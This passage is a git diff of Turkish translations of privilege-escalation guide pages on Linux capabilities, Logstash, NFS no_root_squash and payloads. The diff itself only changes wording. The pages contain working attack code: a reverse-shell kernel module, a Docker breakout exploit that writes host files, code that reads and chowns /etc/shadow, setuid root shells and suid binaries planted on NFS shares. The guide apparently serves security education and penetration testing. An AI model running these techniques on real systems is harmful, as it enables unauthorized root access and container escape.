atlatma imkanı sunduğundan kritik güvenlik riskleri taşır. **Bu, ana makinenin çekirdeğine kernel modüllerini ekleyip/çıkarabileceğiniz anlamına gelir.** +**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** bir sürece **kernel modüllerini yükleme ve kaldırma (`init_module(2)`, `finit_module(2)` ve `delete_module(2)` sistem çağrıları)** yetkisi verir, bu da çekirdeğin temel işlemlerine doğrudan erişim sağlar. Bu yetenek, çekirdekte değişiklik yaparak tüm Linux güvenlik mekanizmalarını, Linux Güvenlik Modülleri ve konteyner izolasyonu dahil olmak üzere, atlayarak ayrıcalık yükseltme ve toplam sistem tehlikesi oluşturma riski taşır. +**Bu, **host makinesinin çekirdeğine kernel modüllerini ekleyip/çıkarabileceğiniz anlamına gelir.** **Example with binary** -Aşağıdaki örnekte, **`python`** adlı ikili dosya bu yetkiye sahiptir. +Aşağıdaki örnekte **`python`** ikilisi bu yetkiye sahiptir. ```bash getcap -r / 2>/dev/null /usr/bin/python2.7 = cap_sys_module+ep @@ -640,7 +641,7 @@ Sonra **aşağıda bulabileceğiniz 2 örneği derleyin ve** bunu bu klasöre ko ```bash cp reverse-shell.ko lib/modules/$(uname -r)/ ``` -Sonunda, bu çekirdek modülünü yüklemek için gerekli python kodunu çalıştırın: +Son olarak, bu çekirdek modülünü yüklemek için gerekli python kodunu çalıştırın: ```python import kmod km = kmod.Kmod() @@ -671,9 +672,9 @@ uid=0(root) gid=0(root) groups=0(root) ``` -Önceki çıktıda **SYS_MODULE** yetkisinin etkin olduğunu görebilirsiniz. +İlk önce, **SYS_MODULE** yetkisinin etkin olduğunu görebilirsiniz. -**Ters shell** çalıştıracak **kernel modülünü** ve bunu **derlemek** için **Makefile**'ı **oluşturun**: +**Ters shell** çalıştıracak **kernel modülünü** ve onu **derlemek** için **Makefile**'ı oluşturun: ```c:reverse-shell.c #include #include @@ -731,12 +732,12 @@ Bu tekniğin bir başka örneği [https://www.cyberark.com/resources/threat-rese ## CAP_DAC_READ_SEARCH -[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html), bir sürecin **dosyaları okuma ve dizinleri okuma ve yürütme izinlerini atlamasını** sağlar. Temel kullanımı dosya arama veya okuma amaçlıdır. Ancak, aynı zamanda bir sürecin `open_by_handle_at(2)` fonksiyonunu kullanmasına da izin verir; bu fonksiyon, sürecin montaj ad alanının dışındaki dosyalar da dahil olmak üzere herhangi bir dosyaya erişebilir. `open_by_handle_at(2)`'de kullanılan tanıtıcı, `name_to_handle_at(2)` aracılığıyla elde edilen şeffaf olmayan bir tanımlayıcı olmalıdır, ancak inode numaraları gibi manipülasyona açık hassas bilgileri içerebilir. Bu yetkinin kötüye kullanılma potansiyeli, özellikle Docker konteynerleri bağlamında, Sebastian Krahmer tarafından şok edici bir istismar ile gösterilmiştir; bu konu [burada](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) analiz edilmiştir. +[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html), bir sürecin **dosyaları okuma ve dizinleri okuma ve yürütme izinlerini atlamasını** sağlar. Temel kullanımı dosya arama veya okuma amaçlıdır. Ancak, aynı zamanda bir sürecin `open_by_handle_at(2)` fonksiyonunu kullanmasına da izin verir; bu fonksiyon, sürecin montaj ad alanının dışındaki dosyalar da dahil olmak üzere herhangi bir dosyaya erişebilir. `open_by_handle_at(2)`'de kullanılan tanıtıcı, `name_to_handle_at(2)` aracılığıyla elde edilen şeffaf olmayan bir tanımlayıcı olmalıdır, ancak değiştirmeye karşı savunmasız olan inode numaraları gibi hassas bilgileri içerebilir. Bu yetkinin kötüye kullanılma potansiyeli, özellikle Docker konteynerleri bağlamında, Sebastian Krahmer tarafından şok edici bir istismar ile gösterilmiştir; bu konu [burada](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) analiz edilmiştir. **Bu, dosya okuma izin kontrollerini ve dizin okuma/yürütme izin kontrollerini atlayabileceğiniz anlamına gelir.** **İkili ile örnek** -İkili, herhangi bir dosyayı okuyabilecektir. Yani, eğer tar gibi bir dosya bu yetkiye sahipse, gölge dosyasını okuyabilecektir: +İkili, herhangi bir dosyayı okuyabilecektir. Yani, eğer bir tar dosyası bu yetkiye sahipse, gölge dosyasını okuyabilecektir: ```bash cd /etc tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp @@ -745,14 +746,14 @@ tar -cxf shadow.tar.gz ``` **Binary2 ile Örnek** -Bu durumda **`python`** ikili dosyasının bu yetkiye sahip olduğunu varsayalım. Root dosyalarını listelemek için şunu yapabilirsiniz: +Bu durumda, **`python`** ikili dosyasının bu yetkiye sahip olduğunu varsayalım. Kök dosyalarını listelemek için şunu yapabilirsiniz: ```python import os for r, d, f in os.walk('/root'): for filename in f: print(filename) ``` -Bir dosyayı okumak için şunları yapabilirsiniz: +Ve bir dosyayı okumak için şunu yapabilirsiniz: ```python print(open("/etc/shadow", "r").read()) ``` @@ -936,7 +937,7 @@ return 0; **Bu, herhangi bir dosya üzerindeki yazma izin kontrollerini atlayabileceğiniz anlamına gelir, böylece herhangi bir dosyayı yazabilirsiniz.** -Yetkileri artırmak için **üzerine yazabileceğiniz birçok dosya vardır,** [**buradan fikir alabilirsiniz**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Yetkileri artırmak için **üzerine yazabileceğiniz birçok dosya var,** [**buradan fikir alabilirsiniz**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). **Binary ile örnek** @@ -970,8 +971,8 @@ uid=0(root) gid=0(root) groups=0(root) ``` -Öncelikle, ev sahibinin rastgele dosyalarını okumak için [**DAC_READ_SEARCH yetkisini kötüye kullanan**](linux-capabilities.md#cap_dac_read_search) önceki bölümü okuyun ve **istismarı derleyin**.\ -Ardından, ev sahibinin dosya sistemine **rastgele dosyalar yazmanıza** olanak tanıyacak **şok edici istismarın aşağıdaki sürümünü derleyin**: +Öncelikle, ev sahibinin rastgele dosyaları okumak için [**DAC_READ_SEARCH yeteneğini kötüye kullanan**](linux-capabilities.md#cap_dac_read_search) önceki bölümü okuyun ve **istismarı derleyin**.\ +Ardından, ev sahibinin dosya sisteminin içine **rastgele dosyalar yazmanıza** olanak tanıyacak **şok edici istismarın aşağıdaki sürümünü derleyin**: ```c #include #include @@ -1110,9 +1111,9 @@ close(fd1); return 0; } ``` -Docker konteynerinden çıkmak için, ana bilgisayardan `/etc/shadow` ve `/etc/passwd` dosyalarını **indirmek**, bunlara **yeni bir kullanıcı** eklemek ve **`shocker_write`** kullanarak bunları üzerine yazmak gerekir. Ardından, **ssh** üzerinden **erişim** sağlanır. +Docker konteynerinden çıkmak için, ana bilgisayardan `/etc/shadow` ve `/etc/passwd` dosyalarını **indirmek**, bunlara **yeni bir kullanıcı** eklemek ve **`shocker_write`** kullanarak üzerlerini yazmak gerekebilir. Ardından, **ssh** üzerinden **erişim** sağlanabilir. -**Bu tekniğin kodu,** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) **adresindeki "Abusing DAC_OVERRIDE Capability" laboratuvarından kopyalanmıştır.** +**Bu tekniğin kodu,** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) **adresindeki "DAC_OVERRIDE Yetkisini Kötüye Kullanma" laboratuvarından kopyalanmıştır.** ## CAP_CHOWN @@ -1120,11 +1121,11 @@ Docker konteynerinden çıkmak için, ana bilgisayardan `/etc/shadow` ve `/etc/p **İkili ile örnek** -Diyelim ki **`python`** ikilisi bu yetkiye sahip, **shadow** dosyasının **sahibini** **değiştirebilir**, **root şifresini** **değiştirebilir** ve ayrıcalıkları artırabilirsiniz: +Diyelim ki **`python`** ikilisi bu yetkiye sahip, **shadow** dosyasının **sahibini** **değiştirebilir**, **root şifresini** **değiştirebilir** ve yetkileri artırabilirsiniz: ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` -Ya da **`ruby`** ikili dosyasının bu yetkiye sahip olması: +Veya **`ruby`** ikili dosyasının bu yetkiye sahip olması: ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` @@ -1144,7 +1145,7 @@ python -c 'import os;os.chmod("/etc/shadow",0666) **İkili ile örnek** -Eğer python bu **yetkiye** sahipse, bunu kök yetkilerine yükseltmek için çok kolay bir şekilde kötüye kullanabilirsiniz: +Eğer python bu **yetkiye** sahipse, bunu kök yetkilerine yükselmek için çok kolay bir şekilde kötüye kullanabilirsiniz: ```python import os os.setuid(0) @@ -1186,7 +1187,7 @@ Bu durumda grup shadow taklit edildi, böylece `/etc/shadow` dosyasını okuyabi ```bash cat /etc/shadow ``` -Eğer **docker** yüklüyse, **docker grubunu** taklit edebilir ve bunu [**docker soketi** ile iletişim kurmak ve ayrıcalıkları artırmak](./#writable-docker-socket) için kötüye kullanabilirsiniz. +Eğer **docker** yüklüyse, **docker grubunu** taklit edebilir ve [**docker soketi** ile iletişim kurmak ve ayrıcalıkları artırmak](./#writable-docker-socket) için bunu kötüye kullanabilirsiniz. ## CAP_SETFCAP @@ -1222,9 +1223,9 @@ print (cap + " was successfully added to " + path) python setcapability.py /usr/bin/python2.7 ``` > [!WARNING] -> CAP_SETFCAP ile ikili dosyaya yeni bir yetki ayarlarsanız, bu yetkiyi kaybedeceğinizi unutmayın. +> Yeni bir yetkiyi CAP_SETFCAP ile ikili dosyaya ayarlarsanız, bu yetkiyi kaybedeceksiniz. -Bir [SETUID yetkisine](linux-capabilities.md#cap_setuid) sahip olduğunuzda, ayrıcalıkları nasıl artıracağınızı görmek için ilgili bölümüne gidebilirsiniz. +Bir [SETUID yetkisi](linux-capabilities.md#cap_setuid) aldıktan sonra, ayrıcalıkları nasıl artıracağınızı görmek için ilgili bölümüne gidebilirsiniz. **Ortam ile örnek (Docker breakout)** @@ -1253,13 +1254,13 @@ bash: /usr/bin/gdb: Operation not permitted ``` [From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitted: Bu, bir iş parçacığının üstlenebileceği **etkili yetenekler için sınırlayıcı bir süper kümedir**. Ayrıca, etkili kümesinde **CAP_SETPCAP** yeteneğine sahip olmayan bir iş parçacığı tarafından miras alınabilir kümeye eklenebilecek yetenekler için de sınırlayıcı bir süper kümedir._\ Görünüşe göre, İzin verilen yetenekler kullanılabilecek olanları sınırlar.\ -Ancak, Docker varsayılan olarak **CAP_SETPCAP** verir, bu nedenle **miras alınabilir olanların içine yeni yetenekler ayarlayabilirsiniz**.\ +Ancak, Docker varsayılan olarak **CAP_SETPCAP** yeteneğini de verir, bu nedenle **miras alınabilir olanların içine yeni yetenekler ekleyebilirsin**.\ Ancak, bu yeteneğin belgelerinde: _CAP_SETPCAP : \[…] **çağrılan iş parçacığının sınırlayıcı** kümesinden miras alınabilir kümesine herhangi bir yetenek ekler_.\ -Görünüşe göre, yalnızca sınırlayıcı kümeden miras alınabilir küme yeteneklerine ekleme yapabiliyoruz. Bu, **yeni yetenekler, örneğin CAP_SYS_ADMIN veya CAP_SYS_PTRACE'ı miras kümesine koyamayacağımız** anlamına gelir. +Görünüşe göre, yalnızca sınırlayıcı kümeden miras alınabilir küme yeteneklerine ekleme yapabiliyoruz. Bu da, **yeni yetenekler olan CAP_SYS_ADMIN veya CAP_SYS_PTRACE'ı miras kümesine ekleyemeyeceğimiz** anlamına geliyor. ## CAP_SYS_RAWIO -[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) `/dev/mem`, `/dev/kmem` veya `/proc/kcore` erişimi, `mmap_min_addr`'ı değiştirme, `ioperm(2)` ve `iopl(2)` sistem çağrılarına erişim ve çeşitli disk komutları dahil olmak üzere bir dizi hassas işlem sağlar. `FIBMAP ioctl(2)` de bu yetenek aracılığıyla etkinleştirilmiştir ve bu, [geçmişte](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) sorunlara neden olmuştur. Man sayfasına göre, bu aynı zamanda sahibine diğer cihazlarda tanımlayıcı olarak `bir dizi cihaz spesifik işlemi gerçekleştirme` yetkisi verir. +[**CAP_SYS_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html), `/dev/mem`, `/dev/kmem` veya `/proc/kcore` erişimi, `mmap_min_addr`'ı değiştirme, `ioperm(2)` ve `iopl(2)` sistem çağrılarına erişim ve çeşitli disk komutları dahil olmak üzere bir dizi hassas işlem sağlar. `FIBMAP ioctl(2)` de bu yetenek aracılığıyla etkinleştirilmiştir ve bu, [geçmişte](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html) sorunlara neden olmuştur. Man sayfasına göre, bu aynı zamanda sahibine diğer cihazlarda tanımlayıcı bir şekilde `bir dizi cihaz spesifik işlemi gerçekleştirme` yetkisi verir. Bu, **yetki yükseltme** ve **Docker kırılması** için faydalı olabilir. @@ -1269,7 +1270,7 @@ Bu, **yetki yükseltme** ve **Docker kırılması** için faydalı olabilir. **İkili ile örnek** -Diyelim ki **`python`** ikilisi bu yeteneğe sahip. Eğer **bir hizmet veya soket yapılandırma** (veya bir hizmetle ilgili herhangi bir yapılandırma dosyası) dosyasını da **değiştirebilirseniz**, onu arka kapı ile değiştirebilir ve ardından o hizmetle ilgili süreci öldürüp yeni yapılandırma dosyasının arka kapınızla çalıştırılmasını bekleyebilirsiniz. +Diyelim ki **`python`** ikilisi bu yeteneğe sahip. Eğer **bir hizmet veya soket yapılandırmasını** (veya bir hizmetle ilgili herhangi bir yapılandırma dosyasını) da değiştirebilirsen, onu arka kapı ile değiştirebilir ve ardından o hizmetle ilgili süreci öldürüp yeni yapılandırma dosyasının arka kapınla çalıştırılmasını bekleyebilirsin. ```python #Use this python code to kill arbitrary processes import os @@ -1288,13 +1289,14 @@ kill -s SIGUSR1 electron-cef-chromium-debugger-abuse.md {{#endref}} + ## CAP_NET_BIND_SERVICE -**Bu, herhangi bir portta (ayrıca ayrıcalıklı olanlarda) dinlemenin mümkün olduğu anlamına gelir.** Bu yetenekle doğrudan ayrıcalıkları artırmak mümkün değildir. +**Bu, herhangi bir portta (ayrıca ayrıcalıklı olanlarda) dinlemenin mümkün olduğu anlamına gelir.** Bu yetenekle doğrudan ayrıcalıkları yükseltmek mümkün değildir. **İkili ile örnek** -Eğer **`python`** bu yeteneğe sahipse, herhangi bir portta dinleyebilir ve hatta bu porttan başka bir portla bağlantı kurabilir (bazı hizmetler belirli ayrıcalıklı portlardan bağlantılar gerektirir) +Eğer **`python`** bu yeteneğe sahipse, herhangi bir portta dinleyebilecek ve hatta bu porttan başka bir porta bağlanabilecektir (bazı hizmetler belirli ayrıcalıklı portlardan bağlantılar gerektirir) {{#tabs}} {{#tab name="Listen"}} @@ -1383,11 +1385,11 @@ count=count+1 ``` ## CAP_NET_ADMIN + CAP_NET_RAW -[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) yetkisi, sahibine **ağ yapılandırmalarını değiştirme** gücünü verir; bu, güvenlik duvarı ayarları, yönlendirme tabloları, soket izinleri ve maruz kalmış ağ ad alanları içindeki ağ arayüzü ayarlarını içerir. Ayrıca, ağ arayüzlerinde **promiscuous mode**'u açma yeteneği sağlar, bu da ad alanları arasında paket dinlemeye olanak tanır. +[**CAP_NET_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) yetkisi, sahibine **ağ yapılandırmalarını değiştirme** gücü verir; bu, güvenlik duvarı ayarları, yönlendirme tabloları, soket izinleri ve maruz kalmış ağ ad alanları içindeki ağ arayüzü ayarlarını içerir. Ayrıca, ağ arayüzlerinde **promiscuous mode**'u açma yetkisi vererek, ad alanları arasında paket dinlemeye olanak tanır. **Binary ile örnek** -Diyelim ki **python binary**'sinin bu yetkilere sahip. +Diyelim ki **python binary** bu yetkilere sahip. ```python #Dump iptables filter table rules import iptc @@ -1429,7 +1431,7 @@ f=open("/path/to/file.sh",'a+') f.write('New content for the file\n') ``` > [!NOTE] -> Genellikle bu değiştirilemez niteliğin ayarlandığını ve kaldırıldığını unutmayın: +> Genellikle bu değiştirilemez özellik, aşağıdaki gibi ayarlanır ve kaldırılır: > > ```bash > sudo chattr +i file.txt @@ -1438,27 +1440,27 @@ f.write('New content for the file\n') ## CAP_SYS_CHROOT -[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) `chroot(2)` sistem çağrısının yürütülmesini sağlar, bu da bilinen güvenlik açıkları aracılığıyla `chroot(2)` ortamlarından kaçışa olanak tanıyabilir: +[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html), `chroot(2)` sistem çağrısının yürütülmesini sağlar; bu, bilinen güvenlik açıkları aracılığıyla `chroot(2)` ortamlarından kaçışa olanak tanıyabilir: - [Çeşitli chroot çözümlerinden nasıl çıkılır](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf) - [chw00t: chroot kaçış aracı](https://github.com/earthquake/chw00t/) ## CAP_SYS_BOOT -[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) sadece belirli donanım platformları için özelleştirilmiş `LINUX_REBOOT_CMD_RESTART2` gibi komutlar da dahil olmak üzere sistem yeniden başlatmaları için `reboot(2)` sistem çağrısının yürütülmesine izin vermekle kalmaz, aynı zamanda yeni veya imzalı çökme çekirdeklerini yüklemek için `kexec_load(2)` ve Linux 3.17'den itibaren `kexec_file_load(2)` kullanımını da sağlar. +[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html), belirli donanım platformları için özelleştirilmiş `LINUX_REBOOT_CMD_RESTART2` gibi komutlar da dahil olmak üzere, sistem yeniden başlatmaları için `reboot(2)` sistem çağrısının yürütülmesine izin verir; ayrıca, Linux 3.17'den itibaren yeni veya imzalı çökme çekirdeklerini yüklemek için `kexec_load(2)` ve `kexec_file_load(2)` kullanımını da sağlar. ## CAP_SYSLOG -[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html) Linux 2.6.37'de daha geniş **CAP_SYS_ADMIN**'den ayrılmıştır ve `syslog(2)` çağrısını kullanma yetkisini özel olarak vermektedir. Bu yetenek, `kptr_restrict` ayarı 1 olduğunda, çekirdek adreslerinin `/proc` ve benzeri arayüzler aracılığıyla görüntülenmesini sağlar; bu ayar çekirdek adreslerinin ifşasını kontrol eder. Linux 2.6.39'dan itibaren `kptr_restrict` için varsayılan değer 0'dır, bu da çekirdek adreslerinin ifşa edildiği anlamına gelir, ancak birçok dağıtım bunu güvenlik nedenleriyle 1 (uid 0 dışındaki adresleri gizle) veya 2 (her zaman adresleri gizle) olarak ayarlamaktadır. +[**CAP_SYSLOG**](https://man7.org/linux/man-pages/man7/capabilities.7.html), Linux 2.6.37'de daha geniş **CAP_SYS_ADMIN**'den ayrılmıştır ve `syslog(2)` çağrısını kullanma yetkisini özel olarak vermektedir. Bu yetenek, `kptr_restrict` ayarı 1 olduğunda, çekirdek adreslerinin `/proc` ve benzeri arayüzler aracılığıyla görüntülenmesini sağlar; bu ayar, çekirdek adreslerinin maruz kalmasını kontrol eder. Linux 2.6.39'dan itibaren, `kptr_restrict` için varsayılan değer 0'dır, bu da çekirdek adreslerinin maruz kaldığı anlamına gelir; ancak birçok dağıtım bunu güvenlik nedenleriyle 1 (uid 0 dışındaki adresleri gizle) veya 2 (her zaman adresleri gizle) olarak ayarlamaktadır. -Ayrıca, **CAP_SYSLOG** `dmesg_restrict` 1 olarak ayarlandığında `dmesg` çıktısına erişim sağlar. Bu değişikliklere rağmen, **CAP_SYS_ADMIN** tarihsel nedenlerden dolayı `syslog` işlemlerini gerçekleştirme yeteneğini korumaktadır. +Ayrıca, **CAP_SYSLOG**, `dmesg_restrict` 1 olarak ayarlandığında `dmesg` çıktısına erişim sağlar. Bu değişikliklere rağmen, **CAP_SYS_ADMIN**, tarihsel nedenlerden dolayı `syslog` işlemlerini gerçekleştirme yeteneğini korur. ## CAP_MKNOD -[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html) `mknod` sistem çağrısının işlevselliğini, normal dosyalar, FIFO'lar (adlandırılmış borular) veya UNIX alan soketleri oluşturmanın ötesine genişletir. Özellikle aşağıdaki özel dosyaların oluşturulmasına izin verir: +[**CAP_MKNOD**](https://man7.org/linux/man-pages/man7/capabilities.7.html), `mknod` sistem çağrısının işlevselliğini, normal dosyalar, FIFO'lar (adlandırılmış borular) veya UNIX alan soketleri oluşturmanın ötesine genişletir. Özellikle, aşağıdaki özel dosyaların oluşturulmasına izin verir: - **S_IFCHR**: Terminal gibi karakter özel dosyaları. -- **S_IFBLK**: Diskler gibi blok özel dosyaları. +- **S_IFBLK**: Disk gibi blok özel dosyaları. Bu yetenek, cihaz dosyaları oluşturma yeteneğine ihtiyaç duyan süreçler için gereklidir ve karakter veya blok cihazları aracılığıyla doğrudan donanım etkileşimini kolaylaştırır. @@ -1474,7 +1476,7 @@ Bu yetenek, aşağıdaki koşullar altında ana makinede ayrıcalık yükseltmel 1. **Ana Makinede Standart Kullanıcı Olarak:** -- `id` ile mevcut kullanıcı kimliğinizi belirleyin, örneğin, `uid=1000(standarduser)`. +- `id` ile mevcut kullanıcı kimliğinizi belirleyin, örneğin, `uid=1000(standartuser)`. - Hedef cihazı belirleyin, örneğin, `/dev/sdb`. 2. **Konteyner İçinde `root` Olarak:** @@ -1497,7 +1499,7 @@ ps aux | grep -i container_name | grep -i standarduser # Access the container's filesystem and the special block device head /proc/12345/root/dev/sdb ``` -Bu yaklaşım, standart kullanıcının `/dev/sdb`'ye erişim sağlamasına ve potansiyel olarak verileri okumasına olanak tanır; bu, paylaşılan kullanıcı ad alanları ve cihaz üzerindeki izinlerin istismar edilmesiyle gerçekleşir. +Bu yaklaşım, standart kullanıcının `/dev/sdb`'ye erişmesini ve potansiyel olarak verileri okumasını sağlar, paylaşılan kullanıcı ad alanları ve cihaz üzerindeki izinleri kullanarak. ### CAP_SETPCAP diff --git a/src/linux-hardening/privilege-escalation/logstash.md b/src/linux-hardening/privilege-escalation/logstash.md index 894767493..c5ef522c5 100644 --- a/src/linux-hardening/privilege-escalation/logstash.md +++ b/src/linux-hardening/privilege-escalation/logstash.md @@ -18,7 +18,7 @@ path.config: "/etc/logstash/conf.d/*.conf" path.config: "/usr/share/logstash/pipeline/1*.conf" pipeline.workers: 6 ``` -Bu dosya, **.conf** dosyalarının, pipeline yapılandırmalarını içeren yerlerini ortaya koymaktadır. **Elasticsearch output module** kullanıldığında, **pipelines**'in genellikle **Elasticsearch kimlik bilgilerini** içerdiği yaygındır; bu kimlik bilgileri, Logstash'ın Elasticsearch'e veri yazma gereksinimi nedeniyle genellikle geniş yetkilere sahiptir. Yapılandırma yollarındaki joker karakterler, Logstash'ın belirlenen dizindeki tüm eşleşen pipeline'ları çalıştırmasına olanak tanır. +Bu dosya, **.conf** dosyalarının, pipeline yapılandırmalarını içeren yerini ortaya koymaktadır. **Elasticsearch output module** kullanıldığında, **pipelines**'in genellikle **Elasticsearch kimlik bilgilerini** içerdiği yaygındır; bu kimlik bilgileri, Logstash'ın Elasticsearch'e veri yazma gereksinimi nedeniyle genellikle geniş yetkilere sahiptir. Yapılandırma yollarındaki joker karakterler, Logstash'ın belirlenen dizindeki tüm eşleşen pipeline'ları çalıştırmasına olanak tanır. ### Yazılabilir Pipeline'lar ile Yetki Yükseltme @@ -27,7 +27,7 @@ Yetki yükseltme girişiminde bulunmak için, öncelikle Logstash hizmetinin ça - Bir pipeline **.conf** dosyasına **yazma erişiminiz** var **veya** - **/etc/logstash/pipelines.yml** dosyası bir joker karakter kullanıyor ve hedef klasöre yazabiliyorsunuz -Ayrıca, **birini** karşılamanız gereken bu koşullardan biri de olmalıdır: +Ayrıca, **birini** karşılamanız gereken bu koşullardan biri de şudur: - Logstash hizmetini yeniden başlatma yeteneği **veya** - **/etc/logstash/logstash.yml** dosyasında **config.reload.automatic: true** ayarı var diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index fd6c7e953..df79fa46b 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -12,7 +12,7 @@ _ **/etc/exports** _ dosyasını okuyun, eğer **no_root_squash** olarak yapıla Bu güvenlik açığını bulduysanız, bunu sömürebilirsiniz: -- **O dizini** bir istemci makinesinde **montajlayarak**, ve **root olarak** montajlı klasöre **/bin/bash** ikili dosyasını kopyalayarak ve ona **SUID** hakları vererek, o bash ikili dosyasını **kurban** makinesinden çalıştırarak. +- O dizini bir istemci makinesinde **montajlayarak**, ve **root olarak** montajlı klasöre **/bin/bash** ikili dosyasını kopyalayarak ve o bash ikili dosyasını **kurban** makinesinden çalıştırarak. ```bash #Attacker, as root user mkdir /tmp/pe @@ -49,7 +49,7 @@ cd ## Temel Bilgiler -Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içerir ve bu, istemcinin uid/gid'ini belirlemesine izin veren NFSv3 spesifikasyonundaki bir hatayı kullanır; bu da yetkisiz erişimi mümkün kılabilir. İstismar, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içerir. +Senaryo, yerel bir makinede monte edilmiş bir NFS paylaşımını istismar etmeyi içeriyor ve bu, istemcinin uid/gid belirlemesine izin veren NFSv3 spesifikasyonundaki bir açığı kullanıyor, bu da yetkisiz erişimi mümkün kılabilir. İstismar, NFS RPC çağrılarını sahtelemek için bir kütüphane olan [libnfs](https://github.com/sahlberg/libnfs) kullanmayı içerir. ### Kütüphaneyi Derleme @@ -62,7 +62,7 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib ``` ### Sömürü Gerçekleştirme -Sömürü, root ayrıcalıklarını artıran ve ardından bir shell çalıştıran basit bir C programı (`pwn.c`) oluşturmayı içerir. Program derlenir ve elde edilen ikili dosya (`a.out`), RPC çağrılarında uid'yi taklit etmek için `ld_nfs.so` kullanarak suid root ile paylaşıma yerleştirilir: +Sömürü, root yetkilerini artıran basit bir C programı (`pwn.c`) oluşturmayı ve ardından bir shell çalıştırmayı içerir. Program derlenir ve elde edilen ikili dosya (`a.out`), RPC çağrılarında uid'i taklit etmek için `ld_nfs.so` kullanarak suid root ile paylaşıma yerleştirilir: 1. **Sömürü kodunu derleyin:** @@ -72,7 +72,7 @@ int main(void){setreuid(0,0); system("/bin/bash"); return 0;} gcc pwn.c -o a.out ``` -2. **Sömürü paylaşımda yerleştirin ve uid'yi taklit ederek izinlerini değiştirin:** +2. **Sömürü paylaşımda yerleştirin ve uid'i taklit ederek izinlerini değiştirin:** ```bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ @@ -81,15 +81,15 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs: LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out ``` -3. **Root ayrıcalıkları kazanmak için sömürüyü çalıştırın:** +3. **Root yetkilerini kazanmak için sömürüyü çalıştırın:** ```bash /mnt/share/a.out #root ``` -## Bonus: NFShell ile Gizli Dosya Erişimi +## Bonus: NFShell için Gizli Dosya Erişimi -Root erişimi elde edildikten sonra, sahipliği değiştirmeden (iz bırakmamak için) NFS paylaşımı ile etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'sini eşleştirerek, paylaşımda dosyalarla izin sorunları olmadan etkileşimde bulunmayı sağlar: +Root erişimi elde edildikten sonra, sahipliği değiştirmeden (iz bırakmamak için) NFS paylaşımı ile etkileşimde bulunmak için bir Python betiği (nfsh.py) kullanılır. Bu betik, erişilen dosyanın uid'ini eşleştirerek, paylaşımda izin sorunları olmadan dosyalarla etkileşimde bulunmayı sağlar: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index a6549accf..43b9013e3 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -49,7 +49,7 @@ return 0; ### Yaygın Dosyalar - _/etc/passwd_ dosyasına şifreli kullanıcı ekleyin -- _/etc/shadow_ dosyasında şifreyi değiştirin +- _/etc/shadow_ dosyası içinde şifreyi değiştirin - _/etc/sudoers_ dosyasına kullanıcı ekleyin - Genellikle _/run/docker.sock_ veya _/var/run/docker.sock_ içinde bulunan docker soketini kötüye kullanın @@ -76,7 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` -Semboller `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` ve `audit_fd` muhtemelen libaudit.so.1 kütüphanesindendir. libaudit.so.1 kötü niyetli paylaşılan kütüphane tarafından üzerine yazılacağından, bu semboller yeni paylaşılan kütüphanede mevcut olmalıdır, aksi takdirde program sembolü bulamayacak ve çıkacaktır. +`audit_open`, `audit_log_acct_message`, `audit_log_acct_message` ve `audit_fd` sembollerinin muhtemelen libaudit.so.1 kütüphanesinden olduğu düşünülmektedir. 